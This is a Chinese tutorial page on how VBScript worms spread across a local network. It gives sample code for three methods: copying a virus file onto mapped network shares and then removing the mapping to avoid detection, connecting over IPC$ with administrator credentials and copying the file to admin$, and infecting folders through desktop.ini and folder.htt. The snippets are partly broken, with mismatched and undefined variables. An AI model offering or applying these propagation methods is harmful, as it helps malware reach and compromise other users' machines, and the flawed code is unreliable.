当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 利用WSH里的MapNetworkDrive方法脚本蠕虫的传播方式

VBScript
用vbs脚本来关闭 HTML 页面的代码
用vbs实现确定是否安装了某个特定的补丁
用vbs确定用户的登录名的代码
用vbs找到映射到共享的所有驱动器并重新映射它们
可以从一台远程服务器运行 SP2 安装程序Install.vbs
用vbs判断一个日期是否在指定的时段内
vbs+hta中实现在单个 onClick 参数中包括多个子例程的代码
vbs中实现启动两个应用程序,一直等到其中一个程序结束,然后关闭另一个?
用vbs实现对文本文件中的项计数
用vbs对文本文件的内容进行排序
用vbscript把 Word 文档保存为文本文件的代码
用vbs返回 Internet Explorer 的下载控件和 Applet 的列表
用vbscript合并多个文本文件的代码
用vbscript防止本地用户更改其密码
用vbs针对一个 IP 地址范围运行脚本
用vbs 实现从剪贴板中抓取一个 URL 然后在浏览器中打开该 Web 站点
使用vbscript脚本在表单中进行选择的代码
一个把任何文件转成批处理的vbs脚本Any2Bat.vbs
windows脚本调试howto的方法
注册表的禁用与解锁方法集合

VBScript 中的 利用WSH里的MapNetworkDrive方法脚本蠕虫的传播方式


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 81 ::
收藏到网摘: n/a

我近日在网络上看到了一些关于局域网脚本蠕虫的传播方式的一些讨论,这里提供一些思路。
1. 利用WSH里的MapNetworkDrive方法。该方法是将网络驱动器映射到本地。
MapNetworkDrive方法:
object.MapNetworkDrive(strLocalName, strRemoteName, [bUpdateProfile], [strUser], [strPassword])
参数
object
WshNetwork 对象。
strLocalName
表示映射驱动器的本地名的字符串值。
strRemoteName
表示共享的 UNC 名称 (\\xxx\yyy) 的字符串值。
bUpdateProfile
可选。表示映射信息是否存储在当前的用户配置文件中的布尔值。如果提供的 bUpdateProfile 的值为 true,则该映射存储在用户的配置文件中(默认值为 false)。
strUser
可选。表示用户名的字符串值。如果使用当前用户以外的其他用户的凭据来映射网络驱动器,则必须提供该参数。
strPassword
可选。表示用户密码的字符串值。如果使用当前用户以外的其他用户的凭据来映射网络驱动器,则必须提供该参数。
说明
尝试映射非共享的网络驱动器时将产生错误。
主要原理是:得到本机的LAN地址后(一般为192.168.*.*)将其他主机的共享目录映射为本地的驱动器(如Z:),然后将病毒复制到映射的本地驱动器Z:,这样就把病毒复制到其他主机的目录去了。最后,还要使用RemoveNetworkDrive方法删除映射,以免被发现。
RemoveNetworkDrive方法:
object.RemoveNetworkDrive(strName, [bForce], [bUpdateProfile])
参数
object
WshNetwork 对象。
strName
表示要删除的映射驱动器名的字符串值。strName 参数可以是本地名称,也可以是远程名称,这取决于驱动器的映射方法。
bForce
可选。表示是否强制删除映射驱动器的布尔值。如果提供的 bForce 的值为 true,则无论该资源是否正在使用,该方法都删除这些连接。
bUpdateProfile
可选。表示是否从用户的配置文件中删除映射的字符串值。如果提供 bUpdateProfile 且其值为 true,则从用户配置文件中删除该映射。bUpdateProfile 的默认值为 false。
说明
如果在本地名称(驱动器名)和远程名称(UNC 名称)之间存在映射关系,则 strName 必须设置为本地名称。如网络路径中不存在本地名称(驱动器字母)映射,则 strName 必须设为远程名称。
我这里给一段VBS的示例代码:
Set myfso= CreateObject("Scripting.FileSystemObject")
Set WshNetwork = WScript.CreateObject("WScript.Network")
WshNetwork.MapNetworkDrive "I:", "\\" & unc
fso.copyfile "c:\virus.vbs " ,"I:\virus.vbs.txt"
WshNetwork.RemoveNetworkDrive "I:"
2. 利用IPC$进行连接。这种方式估计玩HACK的朋友比较熟悉啦!原理就是利用WSCRIPT.SHELL来执行。具体可以参考各种IPC$攻击傻瓜教程,这里仅提供一段代码:
Set objshell=wscript.createobject("wscript.shell")
Dim st,sc
st="net use \\" & "192.168.0.1 \IPC$ "& pass &" /" & "administrator"
objshell.run st
sc="copy c:\virus.vbs \\192.168.0.1\admin$"
objshell.run sc
3. 就是像“新欢乐时光”病毒一样的利用FOLDER.HTT的被动式进行传播。
Desktop.ini: 活动桌面的配置文件
Desktop.ini定义了它所在的文件夹在桌面上或者在资源管理器中的显示风格以及文件夹的某些属性。
关键:WebViewTemplate.NT5=file://Folder.htt
就是修改desktop.ini使其指向同目录下的folder.htt,当以WEB视图打开文件夹时,就会按照desktop.ini里面的设置执行folder.htt。这样我们就可以把病毒写入folder.htt,使之不断复制。
具体参见其他有关新欢乐时光的病毒分析。